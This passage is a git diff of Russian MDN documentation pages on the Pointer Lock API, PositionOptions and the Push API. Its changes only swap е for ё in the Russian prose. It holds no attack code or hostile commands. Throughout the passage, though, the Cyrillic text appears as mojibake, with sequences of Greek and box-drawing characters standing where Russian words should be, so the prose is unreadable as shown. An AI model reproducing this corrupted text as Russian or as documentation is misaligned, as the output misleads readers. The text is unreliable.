Π»ΡŽΠ±ΠΎΠΌΡƒ элСмСнту </span><span style="line-height: 1.5;">Π² ΠΎΠΊΠ½Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span><span style="line-height: 1.5;">, прСдоставляСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΌΡ‹ΡˆΠΈ Π½Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ ΠΎΠΊΠ½Π° ΠΏΡ€ΠΎΠ΅ΠΊΡ†ΠΈΠΈ, ΠΈ скрываСт курсор ΠΈΠ· поля зрСния. Π­Ρ‚ΠΎ идСальноС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для 3D ΠΈΠ³Ρ€, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</span></p>
<p>Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, API ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Π»ΡŽΠ±Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΡ‹ΡˆΠΈ для управлСния двиТСниями, вращСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ измСнСния записСй. НапримСр ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π½Π°ΠΊΠ»ΠΎΠ½ΠΎΠΌ просто двигая ΠΌΡ‹ΡˆΡŒ, Π½Π΅ наТимая Π½ΠΈ Π½Π° ΠΊΠ°ΠΊΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π‘Π°ΠΌΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΎΡΠ²ΠΎΠ±ΠΎΠΆΠ΄Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΠ»ΡƒΠΆΠΈΡ‚ΡŒΒ  ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для просмотра ΠΊΠ°Ρ€Ρ‚ ΠΈΠ»ΠΈ спутниковой съСмки.</p>
-<p>Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠ° указатСля позволяСт Π²Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΌΡ‹ΡˆΠΈ, Π΄Π°ΠΆΠ΅ Ссли курсор ΡƒΡˆΠ΅Π» Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ экрана ΠΈΠ»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. НапримСр, ваши ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ 3D модСлью Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΌΡ‹ΡˆΠΈ бСсконСчно. Π‘Π΅Π· Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ останавливаСтся, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ курсор достигаСт края Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ экрана. Π“Π΅ΠΉΠΌΠ΅Ρ€Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΆΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΈ Π²ΠΎΠ΄ΠΈΡ‚ΡŒ курсором Π²Π·Π°Π΄ ΠΈ Π²ΠΏΠ΅Ρ€Π΅Π΄, Π½Π΅ боясь ΠΏΠΎΠΊΠΈΠ½ΡƒΡ‚ΡŒ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠ΅ ΠΏΠΎΠ»Π΅ ΠΈ случайно ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</p>
+<p>Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠ° указатСля позволяСт Π²Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΌΡ‹ΡˆΠΈ, Π΄Π°ΠΆΠ΅ Ссли курсор ΡƒΡˆΡ‘Π» Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ экрана ΠΈΠ»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. НапримСр, ваши ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ 3D модСлью Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΌΡ‹ΡˆΠΈ бСсконСчно. Π‘Π΅Π· Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ останавливаСтся, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ курсор достигаСт края Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ экрана. Π“Π΅ΠΉΠΌΠ΅Ρ€Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΆΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΈ Π²ΠΎΠ΄ΠΈΡ‚ΡŒ курсором Π²Π·Π°Π΄ ΠΈ Π²ΠΏΠ΅Ρ€Ρ‘Π΄, Π½Π΅ боясь ΠΏΠΎΠΊΠΈΠ½ΡƒΡ‚ΡŒ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠ΅ ΠΏΠΎΠ»Π΅ ΠΈ случайно ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</p>
<h2 id="basics" name="basics">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/positionoptions/index.html b/files/ru/web/api/positionoptions/index.html
index 9f0fb0b77d..e9d175035c 100644
--- a/files/ru/web/api/positionoptions/index.html
+++ b/files/ru/web/api/positionoptions/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/PositionOptions
<dl>
<dt>{{domxref("PositionOptions.enableHighAccuracy")}}</dt>
- <dd>{{domxref("Boolean")}} сообщаСт ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ максимально ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Если <code>true</code> ΠΈ устройство ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ поиск Π»ΠΎΠΊΠ°Ρ†ΠΈΠΈ, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ осущСствлСн. НуТно ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ замСдлСнию Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΡ‚ΠΊΠ»ΠΈΠΊΠ° ΠΈΠ»ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΡŽ потрСбляСмых рСсурсов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½ΠΎΠΌΡƒ использованию GPS Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах). Если <code>false</code>, устройство Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΊΠ°Ρ‚ΡŒ максимально быстро ΠΈ экономично, Ρ‡Ρ‚ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ: <code>false</code>.</dd>
+ <dd>{{domxref("Boolean")}} сообщаСт ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ максимально ΡƒΡ‚ΠΎΡ‡Π½Ρ‘Π½Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Если <code>true</code> ΠΈ устройство ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ поиск Π»ΠΎΠΊΠ°Ρ†ΠΈΠΈ, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ осущСствлён. НуТно ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ замСдлСнию Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΡ‚ΠΊΠ»ΠΈΠΊΠ° ΠΈΠ»ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΡŽ потрСбляСмых рСсурсов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½ΠΎΠΌΡƒ использованию GPS Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах). Если <code>false</code>, устройство Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΊΠ°Ρ‚ΡŒ максимально быстро ΠΈ экономично, Ρ‡Ρ‚ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ: <code>false</code>.</dd>
<dt>{{domxref("PositionOptions.timeout")}}</dt>
<dd>ΠŸΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ число Π² миллисСкундах, ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‰Π΅Π΅ врСмя, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ устройство Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚,Β <code>getCurrentPosition()</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ устройства.</dd>
<dt>{{domxref("PositionOptions.maximumAge")}}</dt>
diff --git a/files/ru/web/api/push_api/index.html b/files/ru/web/api/push_api/index.html
index 138ca1fb86..7fbf680b2b 100644
--- a/files/ru/web/api/push_api/index.html
+++ b/files/ru/web/api/push_api/index.html
@@ -10,7 +10,7 @@ translation_of: Web/API/Push_API
---
<p>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</p>
-<p><strong>Push API</strong> Π΄Π°Π΅Ρ‚ Π²Π΅Π± прилоТСниям Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ сообщСния отправлСнныС с сСрвСра, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π·Π°ΠΏΡƒΡ‰Π΅Π½ΠΎ Π»ΠΈ Π²Π΅Π± ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ„ΠΎΠ½Π΅ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ Π»ΠΈ ΠΎΠ½ΠΎ Π²ΠΎΠΎΠ±Ρ‰Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Π­Ρ‚ΠΎ позволяСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΏΠΎΡΡ‹Π»Π°Ρ‚ΡŒ асинхронныС сообщСния ΠΈ обновлСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ подписались Π½Π° Π½ΠΈΡ…, ΠΊΠ°ΠΊ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ΡΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΎ Π½ΠΎΠ²ΠΎΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅</p>
+<p><strong>Push API</strong> Π΄Π°Ρ‘Ρ‚ Π²Π΅Π± прилоТСниям Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ сообщСния отправлСнныС с сСрвСра, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π·Π°ΠΏΡƒΡ‰Π΅Π½ΠΎ Π»ΠΈ Π²Π΅Π± ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ„ΠΎΠ½Π΅ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ Π»ΠΈ ΠΎΠ½ΠΎ Π²ΠΎΠΎΠ±Ρ‰Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Π­Ρ‚ΠΎ позволяСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΏΠΎΡΡ‹Π»Π°Ρ‚ΡŒ асинхронныС сообщСния ΠΈ обновлСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ подписались Π½Π° Π½ΠΈΡ…, ΠΊΠ°ΠΊ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ΡΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΎ Π½ΠΎΠ²ΠΎΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚Π° докумСнтация ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ W3C Push API ; Ссли Π²Ρ‹ ΠΈΡ‰Π΅Ρ‚Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ ΠΏΠΎ Π·Π°ΠΏΠ°Ρ‚Π΅Π½Ρ‚ΠΎΠ²Π°Π½Π½ΠΎΠΉ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Firefox OS , <a href="/en-US/docs/Web/API/Simple_Push_API">смотритС здСсь</a>.</p>
@@ -38,10 +38,10 @@ translation_of: Web/API/Push_API
<p>КаТдая подписка ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Π° ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ service worker. АдрСс для подписки это ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉΒ <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: всС Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΡΠ»Π°Ρ‚ΡŒ сообщСниС Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽΒ ΡΡ‚ΠΎ адрСс. Однако это URL Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π² сСкрСтС, ΠΈΠ½Π°Ρ‡Π΅ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ смоТСт ΡΠ»Π°Ρ‚ΡŒ push ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ.</p>
-<p>ИспользованиС service worker для получСния push ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½ΠΎΠΌΡƒ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΡŽ рСсурсов, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ это ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π»ΠΈΡΡ‚ΡŒ Π½Π° расход Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ. Π’ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎ Ρ€Π°Π·Π½ΠΎΠΌΡƒ - Π½Π΅Ρ‚ стандарта Π½Π° этот счСт. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Firefox позволяСт лишь ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠ΅ число ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, Π° Chrome Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΡ… ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ, ΠΎΠ΄Π½Π°ΠΊΠΎ обязываСт ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΎΠ½ ΠΈΠ»ΠΈ Π½Π΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΈΡ… дальшС.</p>
+<p>ИспользованиС service worker для получСния push ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½ΠΎΠΌΡƒ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΡŽ рСсурсов, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ это ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π»ΠΈΡΡ‚ΡŒ Π½Π° расход Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ. Π’ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎ Ρ€Π°Π·Π½ΠΎΠΌΡƒ - Π½Π΅Ρ‚ стандарта Π½Π° этот счёт. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Firefox позволяСт лишь ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠ΅ число ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, Π° Chrome Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΡ… ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ, ΠΎΠ΄Π½Π°ΠΊΠΎ обязываСт ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΎΠ½ ΠΈΠ»ΠΈ Π½Π΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΈΡ… дальшС.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong><span id="result_box" lang="ru"><span>Начиная с Gecko 44, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Π°Ρ ΠΊΠ²ΠΎΡ‚Π° push-</span></span>ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ<span lang="ru"><span> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ прилоТСния Π½Π΅ увСличиваСтся, Π² случаС Ссли Π½ΠΎΠ²ΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ срабатываСт ΠΊΠΎΠ³Π΄Π° Π΄Ρ€ΡƒΠ³ΠΎΠ΅ всС Π΅Ρ‰Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚Ρ€Π΅Ρ… сСкунд.</span> <span>Π­Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ случаи, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ нСсколько Push </span></span>ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ подряд<span lang="ru"><span> ΠΈ Π½Π΅ всС Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅.</span></span></p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong><span id="result_box" lang="ru"><span>Начиная с Gecko 44, Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Π°Ρ ΠΊΠ²ΠΎΡ‚Π° push-</span></span>ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ<span lang="ru"><span> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ прилоТСния Π½Π΅ увСличиваСтся, Π² случаС Ссли Π½ΠΎΠ²ΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ срабатываСт ΠΊΠΎΠ³Π΄Π° Π΄Ρ€ΡƒΠ³ΠΎΠ΅ всС Π΅Ρ‰Ρ‘ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² 